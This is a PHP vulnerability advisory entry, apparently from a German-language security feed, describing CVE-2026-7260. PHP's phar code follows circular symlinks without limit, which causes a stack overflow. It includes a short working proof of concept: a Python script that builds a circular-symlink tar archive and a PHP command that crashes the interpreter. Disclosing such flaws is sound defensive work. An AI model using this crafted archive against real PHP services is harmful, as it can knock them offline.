Stack overflow in phar with circular symlinks

Kurzinfo

Metadaten

  • Original (extern): Link oeffnen
  • Veroeffentlicht: 2026-07-30 11:03 UTC
  • Importiert: 2026-10-07 06:38 UTC
  • CVSS: 5.4
  • Quelle-ID: php_sec
  • uid_hash: b5c1418e221786b883ff8fb32d24877a8ddc9f218bfd18acc51b61620eaa28d7

Inhalt

phar_get_link_source() in ext/phar/util.c recursively follows symbolic links in phar archives without any depth limit or cycle detection. A crafted tar-based phar archive containing circular symlinks causes unbounded recursion, exhausting the C stack and crashing the PHP process.

https://github.com/php/php-src/blob/cbc0489126a7682796aad1e5fb4e51de74af162c/ext/phar/util.c#L60-L82

python3 -c "
import tarfile
with tarfile.open('circular_symlinks.tar', 'w') as tar:
    a = tarfile.TarInfo(name='file_a'); a.type = tarfile.SYMTYPE; a.linkname = 'file_b'; tar.addfile(a)
    b = tarfile.TarInfo(name='file_b'); b.type = tarfile.SYMTYPE; b.linkname = 'file_a'; tar.addfile(b)
"

php -r '
$p = new PharData("circular_symlinks.tar");
$p["file_a"]->getContent();
'
# Expected: Segmentation fault (stack overflow)

Verknuepfte CVEs

CVE-ID Severity (Quelle) CVSS (Quelle) Severity (CVE.org) CVSS (CVE.org) EPSS EPSS-Pctl Veroeffentlicht (CVE.org)

CVE-2026-7260

MEDIUM

5.4

MEDIUM

5.4

2026-07-30

Quellen-Details

Bezeichnung Name Kategorie Tags Zielgruppe Sprache Feed-URL
PHP Security (php/php-src GHSA)

php_sec

vendor_advisory php, runtime - de https://github.com/php/php-src/security/advisories